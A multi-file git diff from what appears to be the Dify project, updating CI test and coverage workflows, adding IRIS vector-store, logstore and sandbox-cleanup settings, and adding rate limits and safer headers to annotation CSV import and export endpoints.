+          cache-dependency-path: ./web/pnpm-lock.yaml
 
       - name: Web dependencies
         if: steps.changed-files.outputs.any_changed == 'true'
diff --git a/.github/workflows/translate-i18n-base-on-english.yml b/.github/workflows/translate-i18n-base-on-english.yml
index fe8e2ebc2b..8bb82d5d44 100644
--- a/.github/workflows/translate-i18n-base-on-english.yml
+++ b/.github/workflows/translate-i18n-base-on-english.yml
@@ -55,7 +55,7 @@ jobs:
         with:
           node-version: 'lts/*'
           cache: pnpm
-          cache-dependency-path: ./web/package.json
+          cache-dependency-path: ./web/pnpm-lock.yaml
 
       - name: Install dependencies
         if: env.FILES_CHANGED == 'true'
diff --git a/.github/workflows/web-tests.yml b/.github/workflows/web-tests.yml
index 3313e58614..b1f32f96c2 100644
--- a/.github/workflows/web-tests.yml
+++ b/.github/workflows/web-tests.yml
@@ -13,6 +13,7 @@ jobs:
     runs-on: ubuntu-latest
     defaults:
       run:
+        shell: bash
         working-directory: ./web
 
     steps:
@@ -21,14 +22,7 @@ jobs:
         with:
           persist-credentials: false
 
-      - name: Check changed files
-        id: changed-files
-        uses: tj-actions/changed-files@v46
-        with:
-          files: web/**
-
       - name: Install pnpm
-        if: steps.changed-files.outputs.any_changed == 'true'
         uses: pnpm/action-setup@v4
         with:
           package_json_file: web/package.json
@@ -36,23 +30,355 @@ jobs:
 
       - name: Setup Node.js
         uses: actions/setup-node@v4
-        if: steps.changed-files.outputs.any_changed == 'true'
         with:
           node-version: 22
           cache: pnpm
-          cache-dependency-path: ./web/package.json
+          cache-dependency-path: ./web/pnpm-lock.yaml
+
+      - name: Restore Jest cache
+        uses: actions/cache@v4
+        with:
+          path: web/.cache/jest
+          key: ${{ runner.os }}-jest-${{ hashFiles('web/pnpm-lock.yaml') }}
+          restore-keys: |
+            ${{ runner.os }}-jest-
 
       - name: Install dependencies
-        if: steps.changed-files.outputs.any_changed == 'true'
-        working-directory: ./web
         run: pnpm install --frozen-lockfile
 
       - name: Check i18n types synchronization
-        if: steps.changed-files.outputs.any_changed == 'true'
-        working-directory: ./web
         run: pnpm run check:i18n-types
 
       - name: Run tests
-        if: steps.changed-files.outputs.any_changed == 'true'
-        working-directory: ./web
-        run: pnpm test
+        run: |
+          pnpm exec jest \
+            --ci \
+            --maxWorkers=100% \
+            --coverage \
+            --passWithNoTests
+
+      - name: Coverage Summary
+        if: always()
+        id: coverage-summary
+        run: |
+          set -eo pipefail
+
+          COVERAGE_FILE="coverage/coverage-final.json"
+          COVERAGE_SUMMARY_FILE="coverage/coverage-summary.json"
+
+          if [ ! -f "$COVERAGE_FILE" ] && [ ! -f "$COVERAGE_SUMMARY_FILE" ]; then
+            echo "has_coverage=false" >> "$GITHUB_OUTPUT"
+            echo "### 🚨 Test Coverage Report :test_tube:" >> "$GITHUB_STEP_SUMMARY"
+            echo "Coverage data not found. Ensure Jest runs with coverage enabled." >> "$GITHUB_STEP_SUMMARY"
+            exit 0
+          fi
+
+          echo "has_coverage=true" >> "$GITHUB_OUTPUT"
+
+          node <<'NODE' >> "$GITHUB_STEP_SUMMARY"
+          const fs = require('fs');
+          const path = require('path');
+          let libCoverage = null;
+
+          try {
+            libCoverage = require('istanbul-lib-coverage');
+          } catch (error) {
+            libCoverage = null;
+          }
+
+          const summaryPath = path.join('coverage', 'coverage-summary.json');
+          const finalPath = path.join('coverage', 'coverage-final.json');
+
+          const hasSummary = fs.existsSync(summaryPath);
+          const hasFinal = fs.existsSync(finalPath);
+
+          if (!hasSummary && !hasFinal) {
+            console.log('### Test Coverage Summary :test_tube:');
+            console.log('');
+            console.log('No coverage data found.');
+            process.exit(0);
+          }
+
+          const summary = hasSummary
+            ? JSON.parse(fs.readFileSync(summaryPath, 'utf8'))
+            : null;
+          const coverage = hasFinal
+            ? JSON.parse(fs.readFileSync(finalPath, 'utf8'))
+            : null;
+
+          const getLineCoverageFromStatements = (statementMap, statementHits) => {
+            const lineHits = {};
+
+            if (!statementMap || !statementHits) {
+              return lineHits;
+            }
+
+            Object.entries(statementMap).forEach(([key, statement]) => {
+              const line = statement?.start?.line;
+              if (!line) {
+                return;
+              }
+              const hits = statementHits[key] ?? 0;
+              const previous = lineHits[line];
+              lineHits[line] = previous === undefined ? hits : Math.max(previous, hits);
+            });
+
+            return lineHits;
+          };
+
+          const getFileCoverage = (entry) => (
+            libCoverage ? libCoverage.createFileCoverage(entry) : null
+          );
+
+          const getLineHits = (entry, fileCoverage) => {
+            const lineHits = entry.l ?? {};
+            if (Object.keys(lineHits).length > 0) {
+              return lineHits;
+            }
+            if (fileCoverage) {
+              return fileCoverage.getLineCoverage();
+            }
+            return getLineCoverageFromStatements(entry.statementMap ?? {}, entry.s ?? {});
+          };
+
+          const getUncoveredLines = (entry, fileCoverage, lineHits) => {
+            if (lineHits && Object.keys(lineHits).length > 0) {
+              return Object.entries(lineHits)
+                .filter(([, count]) => count === 0)
+                .map(([line]) => Number(line))
+                .sort((a, b) => a - b);
+            }
+            if (fileCoverage) {
+              return fileCoverage.getUncoveredLines();
+            }
+            return [];
+          };
+
+          const totals = {
+            lines: { covered: 0, total: 0 },
+            statements: { covered: 0, total: 0 },
+            branches: { covered: 0, total: 0 },
+            functions: { covered: 0, total: 0 },
+          };
+          const fileSummaries = [];
+
+          if (summary) {
+            const totalEntry = summary.total ?? {};
+            ['lines', 'statements', 'branches', 'functions'].forEach((key) => {
+              if (totalEntry[key]) {
+                totals[key].covered = totalEntry[key].covered ?? 0;
+                totals[key].total = totalEntry[key].total ?? 0;
+              }
+            });
+
+            Object.entries(summary)
+              .filter(([file]) => file !== 'total')
+              .forEach(([file, data]) => {
+                fileSummaries.push({
+                  file,
+                  pct: data.lines?.pct ?? data.statements?.pct ?? 0,
+                  lines: {
+                    covered: data.lines?.covered ?? 0,
+                    total: data.lines?.total ?? 0,
+                  },
+                });
+              });
+          } else if (coverage) {
+            Object.entries(coverage).forEach(([file, entry]) => {
+              const fileCoverage = getFileCoverage(entry);
+              const lineHits = getLineHits(entry, fileCoverage);
+              const statementHits = entry.s ?? {};
+              const branchHits = entry.b ?? {};
+              const functionHits = entry.f ?? {};
+
+              const lineTotal = Object.keys(lineHits).length;
+              const lineCovered = Object.values(lineHits).filter((n) => n > 0).length;
+
+              const statementTotal = Object.keys(statementHits).length;
+              const statementCovered = Object.values(statementHits).filter((n) => n > 0).length;
+
+              const branchTotal = Object.values(branchHits).reduce((acc, branches) => acc + branches.length, 0);
+              const branchCovered = Object.values(branchHits).reduce(
+                (acc, branches) => acc + branches.filter((n) => n > 0).length,
+                0,
+              );
+
+              const functionTotal = Object.keys(functionHits).length;
+              const functionCovered = Object.values(functionHits).filter((n) => n > 0).length;
+
+              totals.lines.total += lineTotal;
+              totals.lines.covered += lineCovered;
+              totals.statements.total += statementTotal;
+              totals.statements.covered += statementCovered;
+              totals.branches.total += branchTotal;
+              totals.branches.covered += branchCovered;
+              totals.functions.total += functionTotal;
+              totals.functions.covered += functionCovered;
+
+              const pct = (covered, tot) => (tot > 0 ? (covered / tot) * 100 : 0);
+
+              fileSummaries.push({
+                file,
+                pct: pct(lineCovered || statementCovered, lineTotal || statementTotal),
+                lines: {
+                  covered: lineCovered || statementCovered,
+                  total: lineTotal || statementTotal,
+                },
+              });
+            });
+          }
+
+          const pct = (covered, tot) => (tot > 0 ? ((covered / tot) * 100).toFixed(2) : '0.00');
+
+          console.log('### Test Coverage Summary :test_tube:');
+          console.log('');
+          console.log('| Metric | Coverage | Covered / Total |');
+          console.log('|--------|----------|-----------------|');
+          console.log(`| Lines | ${pct(totals.lines.covered, totals.lines.total)}% | ${totals.lines.covered} / ${totals.lines.total} |`);
+          console.log(`| Statements | ${pct(totals.statements.covered, totals.statements.total)}% | ${totals.statements.covered} / ${totals.statements.total} |`);
+          console.log(`| Branches | ${pct(totals.branches.covered, totals.branches.total)}% | ${totals.branches.covered} / ${totals.branches.total} |`);
+          console.log(`| Functions | ${pct(totals.functions.covered, totals.functions.total)}% | ${totals.functions.covered} / ${totals.functions.total} |`);
+
+          console.log('');
+          console.log('<details><summary>File coverage (lowest lines first)</summary>');
+          console.log('');
+          console.log('```');
+          fileSummaries
+            .sort((a, b) => (a.pct - b.pct) || (b.lines.total - a.lines.total))
+            .slice(0, 25)
+            .forEach(({ file, pct, lines }) => {
+              console.log(`${pct.toFixed(2)}%\t${lines.covered}/${lines.total}\t${file}`);
+            });
+          console.log('```');
+          console.log('</details>');
+
+          if (coverage) {
+            const pctValue = (covered, tot) => {
+              if (tot === 0) {
+                return '0';
+              }
+              return ((covered / tot) * 100)
+                .toFixed(2)
+                .replace(/\.?0+$/, '');
+            };
+
+            const formatLineRanges = (lines) => {
+              if (lines.length === 0) {
+                return '';
+              }
+              const ranges = [];
+              let start = lines[0];
+              let end = lines[0];
+
+              for (let i = 1; i < lines.length; i += 1) {
+                const current = lines[i];
+                if (current === end + 1) {
+                  end = current;
+                  continue;
+                }
+                ranges.push(start === end ? `${start}` : `${start}-${end}`);
+                start = current;
+                end = current;
+              }
+              ranges.push(start === end ? `${start}` : `${start}-${end}`);
+              return ranges.join(',');
+            };
+
+            const tableTotals = {
+              statements: { covered: 0, total: 0 },
+              branches: { covered: 0, total: 0 },
+              functions: { covered: 0, total: 0 },
+              lines: { covered: 0, total: 0 },
+            };
+            const tableRows = Object.entries(coverage)
+              .map(([file, entry]) => {
+                const fileCoverage = getFileCoverage(entry);
+                const lineHits = getLineHits(entry, fileCoverage);
+                const statementHits = entry.s ?? {};
+                const branchHits = entry.b ?? {};
+                const functionHits = entry.f ?? {};
+
+                const lineTotal = Object.keys(lineHits).length;
+                const lineCovered = Object.values(lineHits).filter((n) => n > 0).length;
+                const statementTotal = Object.keys(statementHits).length;
+                const statementCovered = Object.values(statementHits).filter((n) => n > 0).length;
+                const branchTotal = Object.values(branchHits).reduce((acc, branches) => acc + branches.length, 0);
+                const branchCovered = Object.values(branchHits).reduce(
+                  (acc, branches) => acc + branches.filter((n) => n > 0).length,
+                  0,
+                );
+                const functionTotal = Object.keys(functionHits).length;
+                const functionCovered = Object.values(functionHits).filter((n) => n > 0).length;
+
+                tableTotals.lines.total += lineTotal;
+                tableTotals.lines.covered += lineCovered;
+                tableTotals.statements.total += statementTotal;
+                tableTotals.statements.covered += statementCovered;
+                tableTotals.branches.total += branchTotal;
+                tableTotals.branches.covered += branchCovered;
+                tableTotals.functions.total += functionTotal;
+                tableTotals.functions.covered += functionCovered;
+
+                const uncoveredLines = getUncoveredLines(entry, fileCoverage, lineHits);
+
+                const filePath = entry.path ?? file;
+                const relativePath = path.isAbsolute(filePath)
+                  ? path.relative(process.cwd(), filePath)
+                  : filePath;
+
+                return {
+                  file: relativePath || file,
+                  statements: pctValue(statementCovered, statementTotal),
+                  branches: pctValue(branchCovered, branchTotal),
+                  functions: pctValue(functionCovered, functionTotal),
+                  lines: pctValue(lineCovered, lineTotal),
+                  uncovered: formatLineRanges(uncoveredLines),
+                };
+              })
+              .sort((a, b) => a.file.localeCompare(b.file));
+
+            const columns = [
+              { key: 'file', header: 'File', align: 'left' },
+              { key: 'statements', header: '% Stmts', align: 'right' },
+              { key: 'branches', header: '% Branch', align: 'right' },
+              { key: 'functions', header: '% Funcs', align: 'right' },
+              { key: 'lines', header: '% Lines', align: 'right' },
+              { key: 'uncovered', header: 'Uncovered Line #s', align: 'left' },
+            ];
+
+            const allFilesRow = {
+              file: 'All files',
+              statements: pctValue(tableTotals.statements.covered, tableTotals.statements.total),
+              branches: pctValue(tableTotals.branches.covered, tableTotals.branches.total),
+              functions: pctValue(tableTotals.functions.covered, tableTotals.functions.total),
+              lines: pctValue(tableTotals.lines.covered, tableTotals.lines.total),
+              uncovered: '',
+            };
+
+            const rowsForOutput = [allFilesRow, ...tableRows];
+            const formatRow = (row) => `| ${columns
+              .map(({ key }) => String(row[key] ?? ''))
+              .join(' | ')} |`;
+            const headerRow = `| ${columns.map(({ header }) => header).join(' | ')} |`;
+            const dividerRow = `| ${columns
+              .map(({ align }) => (align === 'right' ? '---:' : ':---'))
+              .join(' | ')} |`;
+
+            console.log('');
+            console.log('<details><summary>Jest coverage table</summary>');
+            console.log('');
+            console.log(headerRow);
+            console.log(dividerRow);
+            rowsForOutput.forEach((row) => console.log(formatRow(row)));
+            console.log('</details>');
+          }
+          NODE
+
+      - name: Upload Coverage Artifact
+        if: steps.coverage-summary.outputs.has_coverage == 'true'
+        uses: actions/upload-artifact@v4
+        with:
+          name: web-coverage-report
+          path: web/coverage
+          retention-days: 30
+          if-no-files-found: error
diff --git a/.gitignore b/.gitignore
index 79ba44b207..5ad728c3da 100644
--- a/.gitignore
+++ b/.gitignore
@@ -189,6 +189,7 @@ docker/volumes/matrixone/*
 docker/volumes/mysql/*
 docker/volumes/seekdb/*
 !docker/volumes/oceanbase/init.d
+docker/volumes/iris/*
 
 docker/nginx/conf.d/default.conf
 docker/nginx/ssl/*
diff --git a/.vscode/launch.json.template b/.vscode/launch.json.template
index cb934d01b5..bdded1e73e 100644
--- a/.vscode/launch.json.template
+++ b/.vscode/launch.json.template
@@ -37,7 +37,7 @@
                 "-c",
                 "1",
                 "-Q",
-                "dataset,priority_dataset,priority_pipeline,pipeline,mail,ops_trace,app_deletion,plugin,workflow_storage,conversation,workflow,schedule_poller,schedule_executor,triggered_workflow_dispatcher,trigger_refresh_executor",
+                "dataset,priority_dataset,priority_pipeline,pipeline,mail,ops_trace,app_deletion,plugin,workflow_storage,conversation,workflow,schedule_poller,schedule_executor,triggered_workflow_dispatcher,trigger_refresh_executor,retention",
                 "--loglevel",
                 "INFO"
             ],
diff --git a/.windsurf/rules/testing.md b/.windsurf/rules/testing.md
deleted file mode 100644
index 64fec20cb8..0000000000
--- a/.windsurf/rules/testing.md
+++ /dev/null
@@ -1,5 +0,0 @@
-# Windsurf Testing Rules
-
-- Use `web/testing/testing.md` as the single source of truth for frontend automated testing.
-- Honor every requirement in that document when generating or accepting tests.
-- When proposing or saving tests, re-read that document and follow every requirement.
diff --git a/api/.env.example b/api/.env.example
index 516a119d98..b87d9c7b02 100644
--- a/api/.env.example
+++ b/api/.env.example
@@ -543,6 +543,25 @@ APP_MAX_EXECUTION_TIME=1200
 APP_DEFAULT_ACTIVE_REQUESTS=0
 APP_MAX_ACTIVE_REQUESTS=0
 
+# Aliyun SLS Logstore Configuration
+# Aliyun Access Key ID
+ALIYUN_SLS_ACCESS_KEY_ID=
+# Aliyun Access Key Secret
+ALIYUN_SLS_ACCESS_KEY_SECRET=
+# Aliyun SLS Endpoint (e.g., cn-hangzhou.log.aliyuncs.com)
+ALIYUN_SLS_ENDPOINT=
+# Aliyun SLS Region (e.g., cn-hangzhou)
+ALIYUN_SLS_REGION=
+# Aliyun SLS Project Name
+ALIYUN_SLS_PROJECT_NAME=
+# Number of days to retain workflow run logs (default: 365 days， 3650 for permanent storage)
+ALIYUN_SLS_LOGSTORE_TTL=365
+# Enable dual-write to both SLS LogStore and SQL database (default: false)
+LOGSTORE_DUAL_WRITE_ENABLED=false
+# Enable dual-read fallback to SQL database when LogStore returns no results (default: true)
+# Useful for migration scenarios where historical data exists only in SQL database
+LOGSTORE_DUAL_READ_ENABLED=true
+
 # Celery beat configuration
 CELERY_BEAT_SCHEDULER_TIME=1
 
@@ -660,3 +679,19 @@ SINGLE_CHUNK_ATTACHMENT_LIMIT=10
 ATTACHMENT_IMAGE_FILE_SIZE_LIMIT=2
 ATTACHMENT_IMAGE_DOWNLOAD_TIMEOUT=60
 IMAGE_FILE_BATCH_LIMIT=10
+
+# Maximum allowed CSV file size for annotation import in megabytes
+ANNOTATION_IMPORT_FILE_SIZE_LIMIT=2
+#Maximum number of annotation records allowed in a single import
+ANNOTATION_IMPORT_MAX_RECORDS=10000
+# Minimum number of annotation records required in a single import
+ANNOTATION_IMPORT_MIN_RECORDS=1
+ANNOTATION_IMPORT_RATE_LIMIT_PER_MINUTE=5
+ANNOTATION_IMPORT_RATE_LIMIT_PER_HOUR=20
+# Maximum number of concurrent annotation import tasks per tenant
+ANNOTATION_IMPORT_MAX_CONCURRENT=5
+
+# Sandbox expired records clean configuration
+SANDBOX_EXPIRED_RECORDS_CLEAN_GRACEFUL_PERIOD=21
+SANDBOX_EXPIRED_RECORDS_CLEAN_BATCH_SIZE=1000
+SANDBOX_EXPIRED_RECORDS_RETENTION_DAYS=30
diff --git a/api/README.md b/api/README.md
index 2dab2ec6e6..794b05d3af 100644
--- a/api/README.md
+++ b/api/README.md
@@ -84,7 +84,7 @@
 1. If you need to handle and debug the async tasks (e.g. dataset importing and documents indexing), please start the worker service.
 
 ```bash
-uv run celery -A app.celery worker -P threads -c 2 --loglevel INFO -Q dataset,priority_dataset,priority_pipeline,pipeline,mail,ops_trace,app_deletion,plugin,workflow_storage,conversation,workflow,schedule_poller,schedule_executor,triggered_workflow_dispatcher,trigger_refresh_executor
+uv run celery -A app.celery worker -P threads -c 2 --loglevel INFO -Q dataset,priority_dataset,priority_pipeline,pipeline,mail,ops_trace,app_deletion,plugin,workflow_storage,conversation,workflow,schedule_poller,schedule_executor,triggered_workflow_dispatcher,trigger_refresh_executor,retention
 ```
 
 Additionally, if you want to debug the celery scheduled tasks, you can run the following command in another terminal to start the beat service:
diff --git a/api/app_factory.py b/api/app_factory.py
index 3a3ee03cff..bcad88e9e0 100644
--- a/api/app_factory.py
+++ b/api/app_factory.py
@@ -75,6 +75,7 @@ def initialize_extensions(app: DifyApp):
         ext_import_modules,
         ext_logging,
         ext_login,
+        ext_logstore,
         ext_mail,
         ext_migrate,
         ext_orjson,
@@ -83,6 +84,7 @@ def initialize_extensions(app: DifyApp):
         ext_redis,
         ext_request_logging,
         ext_sentry,
+        ext_session_factory,
         ext_set_secretkey,
         ext_storage,
         ext_timezone,
@@ -104,6 +106,7 @@ def initialize_extensions(app: DifyApp):
         ext_migrate,
         ext_redis,
         ext_storage,
+        ext_logstore,  # Initialize logstore after storage, before celery
         ext_celery,
         ext_login,
         ext_mail,
@@ -114,6 +117,7 @@ def initialize_extensions(app: DifyApp):
         ext_commands,
         ext_otel,
         ext_request_logging,
+        ext_session_factory,
     ]
     for ext in extensions:
         short_name = ext.__name__.split(".")[-1]
diff --git a/api/configs/feature/__init__.py b/api/configs/feature/__init__.py
index a5916241df..43dddbd011 100644
--- a/api/configs/feature/__init__.py
+++ b/api/configs/feature/__init__.py
@@ -218,7 +218,7 @@ class PluginConfig(BaseSettings):
 
     PLUGIN_DAEMON_TIMEOUT: PositiveFloat | None = Field(
         description="Timeout in seconds for requests to the plugin daemon (set to None to disable)",
-        default=300.0,
+        default=600.0,
     )
 
     INNER_API_KEY_FOR_PLUGIN: str = Field(description="Inner api key for plugin", default="inner-api-key")
@@ -380,6 +380,37 @@ class FileUploadConfig(BaseSettings):
         default=60,
     )
 
+    # Annotation Import Security Configurations
+    ANNOTATION_IMPORT_FILE_SIZE_LIMIT: NonNegativeInt = Field(
+        description="Maximum allowed CSV file size for annotation import in megabytes",
+        default=2,
+    )
+
+    ANNOTATION_IMPORT_MAX_RECORDS: PositiveInt = Field(
+        description="Maximum number of annotation records allowed in a single import",
+        default=10000,
+    )
+
+    ANNOTATION_IMPORT_MIN_RECORDS: PositiveInt = Field(
+        description="Minimum number of annotation records required in a single import",
+        default=1,
+    )
+
+    ANNOTATION_IMPORT_RATE_LIMIT_PER_MINUTE: PositiveInt = Field(
+        description="Maximum number of annotation import requests per minute per tenant",
+        default=5,
+    )
+
+    ANNOTATION_IMPORT_RATE_LIMIT_PER_HOUR: PositiveInt = Field(
+        description="Maximum number of annotation import requests per hour per tenant",
+        default=20,
+    )
+
+    ANNOTATION_IMPORT_MAX_CONCURRENT: PositiveInt = Field(
+        description="Maximum number of concurrent annotation import tasks per tenant",
+        default=2,
+    )
+
     inner_UPLOAD_FILE_EXTENSION_BLACKLIST: str = Field(
         description=(
             "Comma-separated list of file extensions that are blocked from upload. "
@@ -1239,6 +1270,21 @@ class TenantIsolatedTaskQueueConfig(BaseSettings):
     )
 
 
+class SandboxExpiredRecordsCleanConfig(BaseSettings):
+    SANDBOX_EXPIRED_RECORDS_CLEAN_GRACEFUL_PERIOD: NonNegativeInt = Field(
+        description="Graceful period in days for sandbox records clean after subscription expiration",
+        default=21,
+    )
+    SANDBOX_EXPIRED_RECORDS_CLEAN_BATCH_SIZE: PositiveInt = Field(
+        description="Maximum number of records to process in each batch",
+        default=1000,
+    )
+    SANDBOX_EXPIRED_RECORDS_RETENTION_DAYS: PositiveInt = Field(
+        description="Retention days for sandbox expired workflow_run records and message records",
+        default=30,
+    )
+
+
 class FeatureConfig(
     # place the configs in alphabet order
     AppExecutionConfig,
@@ -1264,6 +1310,7 @@ class FeatureConfig(
     PositionConfig,
     RagEtlConfig,
     RepositoryConfig,
+    SandboxExpiredRecordsCleanConfig,
     SecurityConfig,
     TenantIsolatedTaskQueueConfig,
     ToolConfig,
diff --git a/api/configs/middleware/__init__.py b/api/configs/middleware/__init__.py
index a5e35c99ca..63f75924bf 100644
--- a/api/configs/middleware/__init__.py
+++ b/api/configs/middleware/__init__.py
@@ -26,6 +26,7 @@ from .vdb.clickzetta_config import ClickzettaConfig
 from .vdb.couchbase_config import CouchbaseConfig
 from .vdb.elasticsearch_config import ElasticsearchConfig
 from .vdb.huawei_cloud_config import HuaweiCloudConfig
+from .vdb.iris_config import IrisVectorConfig
 from .vdb.lindorm_config import LindormConfig
 from .vdb.matrixone_config import MatrixoneConfig
 from .vdb.milvus_config import MilvusConfig
@@ -106,7 +107,7 @@ class KeywordStoreConfig(BaseSettings):
 
 class DatabaseConfig(BaseSettings):
     # Database type selector
-    DB_TYPE: Literal["postgresql", "mysql", "oceanbase"] = Field(
+    DB_TYPE: Literal["postgresql", "mysql", "oceanbase", "seekdb"] = Field(
         description="Database type to use. OceanBase is MySQL-compatible.",
         default="postgresql",
     )
@@ -336,6 +337,7 @@ class MiddlewareConfig(
     ChromaConfig,
     ClickzettaConfig,
     HuaweiCloudConfig,
+    IrisVectorConfig,
     MilvusConfig,
     AlibabaCloudMySQLConfig,
     MyScaleConfig,
diff --git a/api/configs/middleware/vdb/iris_config.py b/api/configs/middleware/vdb/iris_config.py
new file mode 100644
index 0000000000..c532d191c3
--- /dev/null
+++ b/api/configs/middleware/vdb/iris_config.py
@@ -0,0 +1,91 @@
+"""Configuration for InterSystems IRIS vector database."""
+
+from pydantic import Field, PositiveInt, model_validator
+from pydantic_settings import BaseSettings
+
+
+class IrisVectorConfig(BaseSettings):
+    """Configuration settings for IRIS vector database connection and pooling."""
+
+    IRIS_HOST: str | None = Field(
+        description="Hostname or IP address of the IRIS server.",
+        default="localhost",
+    )
+
+    IRIS_SUPER_SERVER_PORT: PositiveInt | None = Field(
+        description="Port number for IRIS connection.",
+        default=1972,
+    )
+
+    IRIS_USER: str | None = Field(
+        description="Username for IRIS authentication.",
+        default="_SYSTEM",
+    )
+
+    IRIS_PASSWORD: str | None = Field(
+        description="Password for IRIS authentication.",
+        default="Dify@1234",
+    )
+
+    IRIS_SCHEMA: str | None = Field(
+        description="Schema name for IRIS tables.",
+        default="dify",
+    )
+
+    IRIS_DATABASE: str | None = Field(
+        description="Database namespace for IRIS connection.",
+        default="USER",
+    )
+
+    IRIS_CONNECTION_URL: str | None = Field(
+        description="Full connection URL for IRIS (overrides individual fields if provided).",
+        default=None,
+    )
+
+    IRIS_MIN_CONNECTION: PositiveInt = Field(
+        description="Minimum number of connections in the pool.",
+        default=1,
+    )
+
+    IRIS_MAX_CONNECTION: PositiveInt = Field(
+        description="Maximum number of connections in the pool.",
+        default=3,
+    )
+
+    IRIS_TEXT_INDEX: bool = Field(
+        description="Enable full-text search index using %iFind.Index.Basic.",
+        default=True,
+    )
+
+    IRIS_TEXT_INDEX_LANGUAGE: str = Field(
+        description="Language for full-text search index (e.g., 'en', 'ja', 'zh', 'de').",
+        default="en",
+    )
+
+    @model_validator(mode="before")
+    @classmethod
+    def validate_config(cls, values: dict) -> dict:
+        """Validate IRIS configuration values.
+
+        Args:
+            values: Configuration dictionary
+
+        Returns:
+            Validated configuration dictionary
+
+        Raises:
+            ValueError: If required fields are missing or pool settings are invalid
+        """
+        # Only validate required fields if IRIS is being used as the vector store
+        # This allows the config to be loaded even when IRIS is not in use
+
+        # vector_store = os.environ.get("VECTOR_STORE", "")
+        # We rely on Pydantic defaults for required fields if they are missing from env.
+        # Strict existence check is removed to allow defaults to work.
+
+        min_conn = values.get("IRIS_MIN_CONNECTION", 1)
+        max_conn = values.get("IRIS_MAX_CONNECTION", 3)
+        if min_conn > max_conn:
+            raise ValueError("IRIS_MIN_CONNECTION must be less than or equal to IRIS_MAX_CONNECTION")
+
+        return values
diff --git a/api/constants/languages.py b/api/constants/languages.py
index 0312a558c9..8c1ce368ac 100644
--- a/api/constants/languages.py
+++ b/api/constants/languages.py
@@ -20,6 +20,7 @@ language_timezone_mapping = {
     "sl-SI": "Europe/Ljubljana",
     "th-TH": "Asia/Bangkok",
     "id-ID": "Asia/Jakarta",
+    "ar-TN": "Africa/Tunis",
 }
 
 languages = list(language_timezone_mapping.keys())
diff --git a/api/controllers/console/admin.py b/api/controllers/console/admin.py
index 7aa1e6dbd8..a25ca5ef51 100644
--- a/api/controllers/console/admin.py
+++ b/api/controllers/console/admin.py
@@ -6,19 +6,20 @@ from flask import request
 from flask_restx import Resource
 from pydantic import BaseModel, Field, field_validator
 from sqlalchemy import select
-from sqlalchemy.orm import Session
 from werkzeug.exceptions import NotFound, Unauthorized
 
-P = ParamSpec("P")
-R = TypeVar("R")
 from configs import dify_config
 from constants.languages import supported_language
 from controllers.console import console_ns
 from controllers.console.wraps import only_edition_cloud
+from core.db.session_factory import session_factory
 from extensions.ext_database import db
 from libs.token import extract_access_token
 from models.model import App, InstalledApp, RecommendedApp
 
+P = ParamSpec("P")
+R = TypeVar("R")
+
 DEFAULT_REF_TEMPLATE_SWAGGER_2_0 = "#/definitions/{model}"
 
 
@@ -90,7 +91,7 @@ class InsertExploreAppListApi(Resource):
             privacy_policy = site.privacy_policy or payload.privacy_policy or ""
             custom_disclaimer = site.custom_disclaimer or payload.custom_disclaimer or ""
 
-        with Session(db.engine) as session:
+        with session_factory.create_session() as session:
             recommended_app = session.execute(
                 select(RecommendedApp).where(RecommendedApp.app_id == payload.app_id)
             ).scalar_one_or_none()
@@ -138,7 +139,7 @@ class InsertExploreAppApi(Resource):
     @only_edition_cloud
     @admin_required
     def delete(self, app_id):
-        with Session(db.engine) as session:
+        with session_factory.create_session() as session:
             recommended_app = session.execute(
                 select(RecommendedApp).where(RecommendedApp.app_id == str(app_id))
             ).scalar_one_or_none()
@@ -146,13 +147,13 @@ class InsertExploreAppApi(Resource):
         if not recommended_app:
             return {"result": "success"}, 204
 
-        with Session(db.engine) as session:
+        with session_factory.create_session() as session:
             app = session.execute(select(App).where(App.id == recommended_app.app_id)).scalar_one_or_none()
 
         if app:
             app.is_public = False
 
-        with Session(db.engine) as session:
+        with session_factory.create_session() as session:
             installed_apps = (
                 session.execute(
                     select(InstalledApp).where(
diff --git a/api/controllers/console/app/annotation.py b/api/controllers/console/app/annotation.py
index 3b6fb58931..6a4c1528b0 100644
--- a/api/controllers/console/app/annotation.py
+++ b/api/controllers/console/app/annotation.py
@@ -1,6 +1,6 @@
 from typing import Any, Literal
 
-from flask import request
+from flask import abort, make_response, request
 from flask_restx import Resource, fields, marshal, marshal_with
 from pydantic import BaseModel, Field, field_validator
 
@@ -8,6 +8,8 @@ from controllers.common.errors import NoFileUploadedError, TooManyFilesError
 from controllers.console import console_ns
 from controllers.console.wraps import (
     account_initialization_required,
+    annotation_import_concurrency_limit,
+    annotation_import_rate_limit,
     cloud_edition_billing_resource_check,
     edit_permission_required,
     setup_required,
@@ -257,7 +259,7 @@ class AnnotationApi(Resource):
 @console_ns.route("/apps/<uuid:app_id>/annotations/export")
 class AnnotationExportApi(Resource):
     @console_ns.doc("export_annotations")
-    @console_ns.doc(description="Export all annotations for an app")
+    @console_ns.doc(description="Export all annotations for an app with CSV injection protection")
     @console_ns.doc(params={"app_id": "Application ID"})
     @console_ns.response(
         200,
@@ -272,8 +274,14 @@ class AnnotationExportApi(Resource):
     def get(self, app_id):
         app_id = str(app_id)
         annotation_list = AppAnnotationService.export_annotation_list_by_app_id(app_id)
-        response = {"data": marshal(annotation_list, annotation_fields)}
-        return response, 200
+        response_data = {"data": marshal(annotation_list, annotation_fields)}
+
+        # Create response with secure headers for CSV export
+        response = make_response(response_data, 200)
+        response.headers["Content-Type"] = "application/json; charset=utf-8"
+        response.headers["X-Content-Type-Options"] = "nosniff"
+
+        return response
 
 
 @console_ns.route("/apps/<uuid:app_id>/annotations/<uuid:annotation_id>")
@@ -314,18 +322,25 @@ class AnnotationUpdateDeleteApi(Resource):
 @console_ns.route("/apps/<uuid:app_id>/annotations/batch-import")
 class AnnotationBatchImportApi(Resource):
     @console_ns.doc("batch_import_annotations")
-    @console_ns.doc(description="Batch import annotations from CSV file")
+    @console_ns.doc(description="Batch import annotations from CSV file with rate limiting and security checks")
     @console_ns.doc(params={"app_id": "Application ID"})
     @console_ns.response(200, "Batch import started successfully")
     @console_ns.response(403, "Insufficient permissions")
     @console_ns.response(400, "No file uploaded or too many files")
+    @console_ns.response(413, "File too large")
+    @console_ns.response(429, "Too many requests or concurrent imports")
     @setup_required
     @login_required
     @account_initialization_required
     @cloud_edition_billing_resource_check("annotation")
+    @annotation_import_rate_limit
+    @annotation_import_concurrency_limit
     @edit_permission_required
     def post(self, app_id):
+        from configs import dify_config
+
         app_id = str(app_id)
+
         # check file
         if "file" not in request.files:
             raise NoFileUploadedError()
@@ -335,9 +350,27 @@ class AnnotationBatchImportApi(Resource):
 
         # get file from request
         file = request.files["file"]
+
         # check file type
